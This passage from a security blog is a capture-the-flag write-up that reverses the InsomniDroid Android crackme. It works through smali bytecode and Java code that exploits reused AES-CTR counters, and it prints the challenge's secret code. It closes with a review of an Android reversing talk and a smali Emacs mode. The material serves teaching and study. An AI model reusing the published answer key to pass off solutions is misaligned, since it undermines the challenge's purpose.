"checkSecret: " invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V invoke-virtual {v2}, Ljava/lang/Exception;->toString()Ljava/lang/String; move-result-object v5 invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v4 invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I .line 73 .end local v2 #exp:Ljava/lang/Exception; :cond_35 const/4 v3, 0x0 goto :goto_1a .end method |
Ok, this doesn’t help us much. As we can see from the inlined comments I put above, all it’s doing is a SHA-256 hash for our input and comparing it to secretHash – which obviously must also be a SHA-256 digest. Let’s see if we can find this being set anywhere;
|
1 2 3 |
different:insomnidroid tstrazzere$ grep -r "secretHash" * | grep "sput-object" com/fortiguard/insomnihack2012/challenge/Compute.smali: sput-object \ v0, Lcom/fortiguard/insomnihack2012/challenge/Compute;->secretHash:[B |
Only one hit – this is good. Let’s go back into Compute.smali and check out whats actually going on. Once we get in here we can see what appears to be, some left over code, along with an array-fill for the secretHash which is trigger the sput-object search we just performed. Let’s get the hash;
6152587ede8a26f53fd391b055d4de501ee8b2497fe74f8fd69f2c72e2f3e37a
And toss that into a hashcat… Maybe it’s an easy one to get and I won’t have to do any other work… Probably not – that would seem like a brute force challenge and not a crackme one, definitely not something simple like that for someone named “crypto girl”. So lets keep looking!
Looking back at Compute.smali lets looks back into that function, compute([B) we noticed being called earlier in the APK - but never had the return value used. This one looks interesting because (1) it's seems left over, is called once but not using the return value and (2) it's the only place certain left over variables are being touched like c1_null, c2 and is also expecting the parameter keyBytes which we also have a variable for.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 |
// left over "compute" function // The keyBytes are passed into this .method public static compute([B)V .registers 10 .parameter "keyBytes" .prologue .line 78 :try_start_0 // Initialize a secretkeyspec of type AES new-instance v8, Ljavax/crypto/spec/SecretKeySpec; const-string v1, "AES" invoke-direct {v8, p0, v1}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V .line 79 .local v8, key:Ljavax/crypto/spec/SecretKeySpec; // initialize an ivparameterspec using the ivbytes new-instance v7, Ljavax/crypto/spec/IvParameterSpec; sget-object v1, Lcom/fortiguard/insomnihack2012/challenge/Compute;->ivBytes:[B invoke-direct {v7, v1}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V // new cipher of type "AES/CTR/NoPadding" .line 80 .local v7, ivSpec:Ljavax/crypto/spec/IvParameterSpec; const-string v1, "AES/CTR/NoPadding" invoke-static {v1}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher; move-result-object v0 .line 82 .local v0, cipher:Ljavax/crypto/Cipher; // cipher.init(Cipher.DECRYPT, iv_paramter, key_spec); const/4 v1, 0x2 // Decrypt invoke-virtual {v0, v1, v8, v7}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V // do something ?? .line 83 sget-object v1, Lcom/fortiguard/insomnihack2012/challenge/Compute;->c1_null:[B invoke-virtual {v0, v1}, Ljavax/crypto/Cipher;->doFinal([B)[B // initialize a new array "p2" using the length of c2 .line 85 sget-object v1, Lcom/fortiguard/insomnihack2012/challenge/Compute;->c2:[B array-length v1, v1 new-array v4, v1, [B .line 86 .local v4, p2:[B // initialize i = 0 const/4 v2, 0x0 .local v2, i:I :goto_23 // get length of c2 sget-object v1, Lcom/fortiguard/insomnihack2012/challenge/Compute;->c2:[B array-length v1, v1 // if i < c2.length if-lt v2, v1, :cond_29 .line 95 .end local v0 #cipher:Ljavax/crypto/Cipher; .end local v2 #i:I .end local v4 #p2:[B .end local v7 #ivSpec:Ljavax/crypto/spec/IvParameterSpec; .end local v8 #key:Ljavax/crypto/spec/SecretKeySpec; :goto_28 return-void .line 87 .restart local v0 #cipher:Ljavax/crypto/Cipher; .restart local v2 #i:I .restart local v4 #p2:[B .restart local v7 #ivSpec:Ljavax/crypto/spec/IvParameterSpec; .restart local v8 #key:Ljavax/crypto/spec/SecretKeySpec; :cond_29 // reinitialize the cipher, decrypt_mode again const/4 v1, 0x2 invoke-virtual {v0, v1, v8, v7}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V .line 88 sget-object v1, Lcom/fortiguard/insomnihack2012/challenge/Compute;->c2:[B const/16 v3, 0x10 move v5, v2 invoke-virtual/range {v0 .. v5}, Ljavax/crypto/Cipher;->doFinal([BII[BI)I :try_end_35 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_35} :catch_38 .line 86 add-int/lit8 v2, v2, 0x10 goto :goto_23 .line 91 .end local v0 #cipher:Ljavax/crypto/Cipher; .end local v2 #i:I .end local v4 #p2:[B .end local v7 #ivSpec:Ljavax/crypto/spec/IvParameterSpec; .end local v8 #key:Ljavax/crypto/spec/SecretKeySpec; :catch_38 // catch exception move-exception v1 move-object v6, v1 .line 92 .local v6, exp:Ljava/lang/Exception; const-string v1, "InsomniDroid" new-instance v3, Ljava/lang/StringBuilder; const-string v5, "compute: " invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V invoke-virtual {v6}, Ljava/lang/Exception;->toString()Ljava/lang/String; move-result-object v5 invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v3 invoke-static {v1, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I goto :goto_28 .end method |
This seems interesting… It’s taking in the keyBytes as a parameter, using them to create a SecretKeySpec then using the ivBytes to initialize an IvParameterSpec. Then it attempts to decrypt the c1_null variable, though it does nothing with this return value. After that, we decrypt something that is much larger and again, don’t do anything with the value. Essentially this maps out to the following java code;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
byte[] key_bytes = new byte[] { 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3 }; byte[] iv_bytes = new byte[] { 0, 1, 2, 3, 0, 1, 2, 3, 0, 0, 0, 0, 0, 0, 0, 1 }; byte[] c1_null = new byte[] { (byte) 0xec, (byte) 0x34, (byte) 0x27, (byte) 0x1d, (byte) 0x0f, (byte) 0x97, (byte) 0x40, (byte) 0x4e, (byte) 0xf5, (byte) 0xe9, (byte) 0x5c, (byte) 0xa2, (byte) 0xfe, (byte) 0x0d, (byte) 0x84, (byte) 0x21 }; byte[] c2 = new byte[] { (byte) 0xaf, (byte) 0x5b, (byte) 0x49, (byte) 0x7a, (byte) 0x7d, (byte) 0xf6, (byte) 0x34, (byte) 0x3d, (byte) 0xd4, (byte) 0xc9, (byte) 0x18, (byte) 0xcd, (byte) 0x90, (byte) 0x79, (byte) 0xa4, (byte) 0x53, (byte) 0x89, (byte) 0x19, (byte) 0x52, (byte) 0x6e, (byte) 0x6a, (byte) 0xb7, (byte) 0x01, (byte) 0x0b, (byte) 0xa6, (byte) 0xc9, (byte) 0x1f, (byte) 0xf6, (byte) 0xac, (byte) 0x2d, (byte) 0xe7, (byte) 0x4e, (byte) 0x99, (byte) 0x5a, (byte) 0x53, (byte) 0x78, (byte) 0x7d, (byte) 0xe4, (byte) 0x60, (byte) 0x75, (byte) 0xdc, (byte) 0xc9, (byte) 0x0f, (byte) 0xc7, (byte) 0x9d, (byte) 0x7f, (byte) 0xe1, (byte) 0x55, (byte) 0xcc, (byte) 0x77, (byte) 0x48, (byte) 0x79, (byte) 0x6a, (byte) 0xb7, (byte) 0x29, (byte) 0x3d, (byte) 0xcf, (byte) 0xc9, (byte) 0x6e, (byte) 0xcf, (byte) 0x95, (byte) 0x6b, (byte) 0xe9, (byte) 0x49, (byte) 0xde, (byte) 0x46, (byte) 0x17, (byte) 0x75, (byte) 0x64, (byte) 0xf6, (byte) 0x2b, (byte) 0x2b, (byte) 0xaa, (byte) 0x84, (byte) 0x6d, (byte) 0x90, (byte) 0xcd, (byte) 0x39, (byte) 0xb1, (byte) 0x17 }; SecretKeySpec key_spec = new SecretKeySpec(key_bytes, "AES"); IvParameterSpec iv_parameter = new IvParameterSpec(iv_bytes); try { Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding"); cipher.init(Cipher.DECRYPT_MODE, key_spec, iv_parameter); byte[] result = cipher.doFinal(c1_null); byte[] p2 = new byte[c2.length]; for(int i = 0; i < c2.length; i += 0x10) { cipher.init(Cipher.DECRYPT_MODE, key_spec, iv_parameter); cipher.doFinal(c2, i, 0x10, p2, i); } } catch(Exception e) { System.out.println("ops: " + e.toString()); } |
At this point I’m assuming I just solved this — run the app, look at the output… Garbage — it’s just not UTF-8 (or UTF-16) characters. That can’t be it — I don’t think the challenge would be to include non-ascii characters!
After staring at this a bit longer I decided to look at the lengths of what is being output. result has a length that will always going to be 16. p2 will end up having a length that is always being divisible by 16… Well – lets try some operations between the two resulting arrays that aren’t being used. First one I tried was XOR’ing them together (everyone loves XOR, malware writers, crackme writers, etc, etc) — and this ended up being exactly what needed to be done.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
byte[] key_bytes = new byte[] { 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3 }; byte[] iv_bytes = new byte[] { 0, 1, 2, 3, 0, 1, 2, 3, 0, 0, 0, 0, 0, 0, 0, 1 }; byte[] c1_null = new byte[] { (byte) 0xec, (byte) 0x34, (byte) 0x27, (byte) 0x1d, (byte) 0x0f, (byte) 0x97, (byte) 0x40, (byte) 0x4e, (byte) 0xf5, (byte) 0xe9, (byte) 0x5c, (byte) 0xa2, (byte) 0xfe, (byte) 0x0d, (byte) 0x84, (byte) 0x21 }; byte[] c2 = new byte[] { (byte) 0xaf, (byte) 0x5b, (byte) 0x49, (byte) 0x7a, (byte) 0x7d, (byte) 0xf6, (byte) 0x34, (byte) 0x3d, (byte) 0xd4, (byte) 0xc9, (byte) 0x18, (byte) 0xcd, (byte) 0x90, (byte) 0x79, (byte) 0xa4, (byte) 0x53, (byte) 0x89, (byte) 0x19, (byte) 0x52, (byte) 0x6e, (byte) 0x6a, (byte) 0xb7, (byte) 0x01, (byte) 0x0b, (byte) 0xa6, (byte) 0xc9, (byte) 0x1f, (byte) 0xf6, (byte) 0xac, (byte) 0x2d, (byte) 0xe7, (byte) 0x4e, (byte) 0x99, (byte) 0x5a, (byte) 0x53, (byte) 0x78, (byte) 0x7d, (byte) 0xe4, (byte) 0x60, (byte) 0x75, (byte) 0xdc, (byte) 0xc9, (byte) 0x0f, (byte) 0xc7, (byte) 0x9d, (byte) 0x7f, (byte) 0xe1, (byte) 0x55, (byte) 0xcc, (byte) 0x77, (byte) 0x48, (byte) 0x79, (byte) 0x6a, (byte) 0xb7, (byte) 0x29, (byte) 0x3d, (byte) 0xcf, (byte) 0xc9, (byte) 0x6e, (byte) 0xcf, (byte) 0x95, (byte) 0x6b, (byte) 0xe9, (byte) 0x49, (byte) 0xde, (byte) 0x46, (byte) 0x17, (byte) 0x75, (byte) 0x64, (byte) 0xf6, (byte) 0x2b, (byte) 0x2b, (byte) 0xaa, (byte) 0x84, (byte) 0x6d, (byte) 0x90, (byte) 0xcd, (byte) 0x39, (byte) 0xb1, (byte) 0x17 }; SecretKeySpec key_spec = new SecretKeySpec(key_bytes, "AES"); IvParameterSpec iv_parameter = new IvParameterSpec(iv_bytes); try { Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding"); cipher.init(Cipher.DECRYPT_MODE, key_spec, iv_parameter); byte[] result = cipher.doFinal(c1_null); byte[] p2 = new byte[c2.length]; for(int i = 0; i < c2.length; i += 0x10) { cipher.init(Cipher.DECRYPT_MODE, key_spec, iv_parameter); cipher.doFinal(c2, i, 0x10, p2, i); } byte[] solution = new byte[p2.length]; for(int x = 0; x < p2.length / result.length; x++){ for(int i = 0; i < result.length; i++) { solution[i + x * result.length ] = (byte) (result[i] ^ p2[i + (x * result.length)]); } } System.out.println(new String(solution)); } catch(Exception e) { System.out.println("ops: " + e.toString()); } |
After running this we get the output;
|
1 |
Congrats! Dont re-use AES CTR counters ;) Secret Code is: 2mkfmh2r0hkake_m123456 |
Ah – Crypto girl left us a nice crypto related message. Essentially explaining what went on here. Fun stuff and definitely glad I didn’t wait for hashcat to try and spit out that password.
Recently, Axelle from Fortinet aka Crypto Girl, presented a well done paper at InsomniHack 2012 – which she just posted on her twitter account. It does a very good job at outlining the basics of how to get into Android reversing and the Android reverse engineer tools. Since she works in the AV industry, it’s based on that view – a defensive analyst looking at malware. She does a great job describing the contents of an APK, how to read specific files (AndroidManifest.xml, etc) – giving multiple ways too. It’s nice to see how different people tackle these types of issues.
It’s also a nice thing to see someone outline all the different applicable tools. I haven’t seen anyone outside of a few Google people mention dexdump in a long time – definitely an underrated tool! It was interesting to see the list of tools she listed for decompiling the apk, specifically ded. I mention ded specifically since I’ve never actually seen anyone use it or mention it outside of the academic work done around it. Dex2jar was obviously mentioned, it’s quiet possibly the most (over)used tool out there. Personally I’m not that big of a fan of the project, though it definitely has some great use cases and people seem to love it.
Axelle did a great job providing a tutorial with a clean step by step of what to look for when tackling malware. Great steps provided about which tool to use, how to identify interesting points and then a nice little “ops! the tool broke, lets switch to the next one!” which can often happen due to the early stages of development for most of these tools. She also provides a slide on how synthetic access is created when inner classes access private members of their enclosing classes. It’s an interesting concept that seems to be lost on many beginner reversers in the Android world.
There are even a few slides on anti-emulator code, which has always been an interesting thing to me. She mentions how the Honeynet challenge implemented a few tricks and how one could either (1) modify the application or (2) modify the emulator. I’ve seen a few other people mention “hiding the emulator”, which has sent me into an interesting little tangent of research. Hopefully I’ll have time to add that into an expect Blackhat/Defcon presentation I’m working on. Personally I’m not a fan of the simplistic approach of just changing the application or the emulator imei – there have to be a ton of easier ways for an attacker to find the emulator and the defender to hide it.
Another awesome aspect of this presentation is how Axelle really did try to provide information about every tool. I’ve seen many people mention the use of Androguard, but not what features they use. I’ve personally messed around with it a bit, but haven’t found the urge to use it more often in my day to day work. I keep coming back to thinking, awesome features and implementation, though it’s just so much information I haven’t found it useful. One of Axelle’s slides I think sums it up pretty well;
Enough about the presentation – you should read it yourself. The PDF is available from Fortinets’s site (local mirror)
As a last side note — it’s extremely refreshing to see an Android presentation that does not include this “presentation filler” known as the “Android Architecture” picture
Edit: I forgot to link the crackme challenge which Axelle also provided at InsomniHack – which is also called InsomniDroid. It’s published over at root-me.org if anyway wants to take the challenge. It was a fun quick little challenge, available here.
Spending a large amount of time using baksmali and reading through small files can be rather dull without the right tools. A while back I noticed a few people making color scheme files for vim, Notepad+ and other tools I didn’t use. So after reading up on a quick few tutorials I created a smali-mode for Emacs.
The code is up on my github, I haven’t actually touched it in a while until last night. I noticed a few other people actually pulled clones of it and made a few minor fixes! Some good fixes too, making the loading much faster and fixing some things I wasn’t too sure about myself for making an Emacs mode.
Anyway – hopefully other people find this useful and maybe more people will contribute to the project.
For people looking for the other color schemes here are some of those resources;
Jon Larimer’s vim scheme;
http://codetastrophe.com/smali.vimLohan+’s Notepad+ color scheme;
https://sites.google.com/site/lohanplus/files/smali_npp.xml (Directions here)















Recent Comments